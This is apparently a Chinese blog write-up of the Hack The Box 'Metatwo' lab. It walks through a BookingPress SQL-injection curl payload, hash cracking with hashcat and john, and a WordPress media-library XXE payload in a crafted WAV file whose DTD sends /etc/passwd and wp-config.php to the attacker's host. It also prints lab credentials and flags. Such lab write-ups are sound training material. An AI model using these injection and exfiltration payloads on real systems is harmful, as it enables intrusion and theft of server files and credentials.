靶场笔记-HTB Metatwo

Timerings

于 2023-02-11 13:50:30 发布

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分类专栏： Hack The Box 文章标签：网络安全 web安全

本文链接：https://blog.csdn.net/Timerings/article/details/128982888

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Metatwo

一、常规扫描

在这里插入图片描述

二、80端口渗透

发现为WordPress，并且使用bookingpress插件
使用wpscan扫描，没有发现有用的信息

Google查询发现bookingpress插件存在sql注入漏洞

地址：https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357（CVE-2022-0739）

sudo curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=5a84303f70&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

在这里插入图片描述

联动burpsuite重放攻击获取数据库内容

sudo curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=5a84303f70&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -' -x http:127.0.0.1:8080

也可以选择使用sqlmap自动获取
```
sqlmap -r surp.txt -p total_service
```
获取到的用户名密码如下：
由于密码是加密的，使用hashcat破解hash值
```
sudo hashcat -m 400 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt
```
解出结果为：$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar
利用该用户名和密码尝试登陆ssh和ftp均失败，之后找到该网站的后台管理入口，使用manager：partylikearockstar登陆成功

三、WordPress框架xxe漏洞利用

地址：https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/

web服务器搭建dtd利用文件

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.16.7:9999/?p=%file;'>" >

生成payload.wav

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.16.7:9999/123.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

利用PHP搭建一个临时web服务器
```
php -S 0.0.0.0:9999
```

返回结果为base64编码，利用kali自带base64解密

echo -n 'cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo=' | base64 -d > passwd

发现一个用户名为jnelson

cat passwd | grep /bin/bash

在这里插入图片描述

由于之前扫描中发现该靶场使用Ngin，查看Nginx默认配置文件，发现有默认站点

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/nginx/nginx.conf">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.16.7:9999/?p=%file;'>" >

在这里插入图片描述

访问默认站点根目录/etc/nginx/sites-enabled/default

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/nginx/sites-enabled/default">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.16.7:9999/?p=%file;'>" >

发现blog站点

┌──(root㉿kali)-[/home/kali/metatwo]
└─# echo -en 'c2VydmVyIHsKCglsaXN0ZW4gODA7CglsaXN0ZW4gWzo6XTo4MDsKCglyb290IC92YXIvd3d3L21ldGFwcmVzcy5odGIvYmxvZzsKCglpbmRleCBpbmRleC5waHAgaW5kZXguaHRtbDsKCiAgICAgICAgaWYgKCRodHRwX2hvc3QgIT0gIm1ldGFwcmVzcy5odGIiKSB7CiAgICAgICAgICAgICAgICByZXdyaXRlIF4gaHR0cDovL21ldGFwcmVzcy5odGIvOwogICAgICAgIH0KCglsb2NhdGlvbiAvIHsKCQl0cnlfZmlsZXMgJHVyaSAkdXJpLyAvaW5kZXgucGhwPyRhcmdzOwoJfQogICAgCglsb2NhdGlvbiB+IFwucGhwJCB7CgkJaW5jbHVkZSBzbmlwcGV0cy9mYXN0Y2dpLXBocC5jb25mOwoJCWZhc3RjZ2lfcGFzcyB1bml4Oi92YXIvcnVuL3BocC9waHA4LjAtZnBtLnNvY2s7Cgl9CgoJbG9jYXRpb24gfiogXC4oanN8Y3NzfHBuZ3xqcGd8anBlZ3xnaWZ8aWNvfHN2ZykkIHsKCQlleHBpcmVzIG1heDsKCQlsb2dfbm90X2ZvdW5kIG9mZjsKCX0KCn0K' | base64 -d
server {

        listen 80;
        listen [::]:80;

        root /var/www/metapress.htb/blog;

        index index.php index.html;

        if ($http_host != "metapress.htb") {
                rewrite ^ http://metapress.htb/;
        }

        location / {
                try_files $uri $uri/ /index.php?$args;
        }
    
        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/var/run/php/php8.0-fpm.sock;
        }

        location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
                expires max;
                log_not_found off;
        }

}

访问blog站点的配置文件

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.16.7:9999/?p=%file;'>" >

获取到FTP用户名和密码metapress.htb：9NYS_ii@FyL_p5M2NvJ

<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

/**#@+
 * Authentication Unique Keys and Salts.
 * @since 2.6.0
 */
define( 'AUTH_KEY',         '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY',  'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY',    'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY',        'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT',        '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT',   '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT',       '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

/**
 * WordPress Database Table prefix.
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

四、FTP登录

浏览根目录，发现有两个文件夹，blog文件夹为网站源码，经分析无可利用点；mailer文件夹有可利用点
访问mailer文件夹，发现一个名为send_emai.php文件，下载到本地查看

浏览send_email.php，发现另一组用户名密码jnelson：Cb4_JmWM8zUZWMu@Ys

┌──(root㉿kali)-[/home/kali/metatwo]
└─# cat send_email.php 
<?php
/*
 * This script will be used to send an email to all our users when ready for launch
*/

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

$mail = new PHPMailer(true);

$mail->SMTPDebug = 3;                               
$mail->isSMTP();            

$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
$mail->SMTPSecure = "tls";                           
$mail->Port = 587;                                   

$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";

$mail->addAddress("info@metapress.htb");

$mail->isHTML(true);

$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";

try {
    $mail->send();
    echo "Message has been sent successfully";
} catch (Exception $e) {
    echo "Mailer Error: " . $mail->ErrorInfo;
}

五、ssh提权，passpie利用

利用刚才获得的用户名密码进行ssh连接，获取第一组flag
```
flag1：8a729be5e7198bb6670c3ef617a0e478
```

发现.passpie，查询得知这是一个密码管理应用

在这里插入图片描述

利用.keys可以解出passpie的密码

在这里插入图片描述

保存密钥的私钥部分：

由于是对txt文件解密，首先先利用gpg2john把rootpass.txt转换成rootpass.john

┌──(root㉿kali)-[/home/kali/metatwo]
└─# gpg2john rootpass.txt > rootpass.john

利用john解密，解出passpie密码为blink182

┌──(root㉿kali)-[/home/kali/metatwo]
└─# john -w=/usr/share/wordlists/rockyou.txt rootpass.john

在这里插入图片描述

passpie导出明文密码

jnelson@meta2:~$ touch pass
jnelson@meta2:~$ passpie export pass
jnelson@meta2:~$ cat pass
credentials:
- comment: ''
  fullname: root@ssh
  login: root
  modified: 2022-06-26 08:58:15.621572
  name: ssh
  password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
  fullname: jnelson@ssh
  login: jnelson
  modified: 2022-06-26 08:58:15.514422
  name: ssh
  password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0

得到root用户密码为p7qfAZt4_A1xo_0x

切换root用户获取第二组flag

flag2：42878b0bc430ada292420ebbeb925319

在这里插入图片描述

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专栏目录

靶场笔记-HTB Metatwo

Metatwo

一、常规扫描

二、80端口渗透

三、WordPress框架xxe漏洞利用

四、FTP登录

五、ssh提权，passpie利用

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